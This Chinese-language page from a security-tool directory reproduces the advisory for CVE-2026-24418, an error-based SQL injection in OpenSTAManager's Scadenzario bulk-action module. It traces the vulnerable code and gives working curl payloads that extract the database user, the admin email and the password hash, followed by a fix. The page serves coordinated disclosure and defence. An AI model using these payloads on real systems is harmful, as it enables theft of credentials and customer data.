Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/lukasz-rybak/cve-2026-24418
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHublukasz-rybak/cve-2026-24418

CVE-2026-24418

CVE-2026-24418 - OpenSTAManager 的 Scadenzario 批量操作模块存在 SQL 注入漏洞。

查看仓库
125个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-24418:OpenSTAManager 的 Scadenzario 批量操作模块存在 SQL 注入漏洞

概述

字段详细信息
CVE IDCVE-2026-24418
严重性高
安全公告查看公告
发现者Lukasz Rybak

受影响产品

  • devcode-it/openstamanager(版本:<= 2.9.8)

CWE 分类

  • CWE-89:SQL 命令中使用的特殊元素未正确中和('SQL 注入')

详细信息

摘要

OpenSTAManager v2.9.8 的 Scadenzario(付款计划)批量操作模块中存在严重的基于错误的 SQL 注入漏洞,允许经过身份验证的攻击者通过 XML 错误消息提取完整的数据库内容,包括用户凭据、客户个人身份信息(PII)和财务记录。

状态: ✅ 已在真实实例上确认并测试(v2.9.8) 漏洞参数: id_records[](POST 数组) 受影响端点: /actions.php?id_module=18(Scadenzario 模块) 攻击类型: 基于错误的 SQL 注入(IN 子句)

详情

OpenSTAManager v2.9.8 的 Scadenzario(付款计划)模块批量操作处理程序中存在严重的基于错误的 SQL 注入漏洞。应用程序在使用 id_records 数组元素构造 SQL IN() 子句之前,未能验证这些元素是否为整数,从而允许攻击者注入任意 SQL 命令,并通过 XPATH 错误消息提取敏感数据。

漏洞链条:

  1. 入口点: /actions.php(第 503-506 行)

    root@kitploit:~
    $id_records = post('id_records');
    $id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
    $id_records = array_clean($id_records);
    $id_records = array_unique($id_records);
    

    array_clean() 函数仅移除空值——它不会验证类型。

  2. 易受攻击的函数: /lib/util.php(第 54-60 行)

    root@kitploit:~
    function array_clean($array)
    {
        if (!empty($array)) {
            return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
        }
    }
    

    影响: 该函数会过滤掉空值,但会接受任何非空值,包括 SQL 注入载荷。

  3. SQL 注入点: /modules/scadenzario/bulk.php(第 88 行)主要漏洞

    root@kitploit:~
    $scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
    

根本原因分析:

该漏洞存在的原因如下:

  1. post('id_records') 返回用户可控的数组
  2. array_clean() 仅移除空值,不移除非整数值
  3. implode(',', $id_records) 将数组元素直接拼接到 SQL 中
  4. 没有验证确保数组元素为整数
  5. 攻击者可以通过提供 id_records[]=1&id_records[]=(MALICIOUS SQL)# 来注入 SQL

受影响的代码路径:

root@kitploit:~
POST /actions.php?id_module=18
  ↓
actions.php:503 - $id_records = post('id_records')
  ↓
actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]
  ↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
  ↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]

PoC

步骤 1:登录

root@kitploit:~
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

步骤 2:验证漏洞(基于错误的 SQL 注入)

测试 1:提取数据库用户和版本

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
  "http://localhost:8081/actions.php?id_module=18"

响应(攻击者可看到的错误消息):

root@kitploit:~
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>

测试 2:提取管理员凭据

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

响应:

root@kitploit:~
<code>XPATH syntax error: '~admin:[email protected]'</code>

测试 3:提取密码哈希(第 1 部分 - 前 31 个字符)

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

响应:

root@kitploit:~
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>

测试 4:提取密码哈希(第 2 部分 - 第 32-60 个字符)

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

响应:

root@kitploit:~
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>

合并后的密码哈希:

root@kitploit:~
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK

影响

**所有可访问 Scadenzario(付款计划)模块批量操作功能的经过身份验证的用户。

建议修复方案:

主要修复方案 - 类型验证:

文件:/modules/scadenzario/bulk.php

修复前(存在漏洞 - 第 88 行):

root@kitploit:~
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

修复后(已修复):

root@kitploit:~
// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs

$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

致谢

由 Łukasz Rybak 发现

参考资料

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4xwv-49c8-fvhq
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24418
  • https://github.com/advisories/GHSA-4xwv-49c8-fvhq

免责声明

此 CVE 已按照协同漏洞披露实践进行了负责任地披露。此处提供的信息仅用于教育和防御目的。

下载工具

影响: $id_records 中的数组元素通过 implode() 直接拼接,未进行类型验证或使用 prepare(),从而可导致完整的 SQL 注入。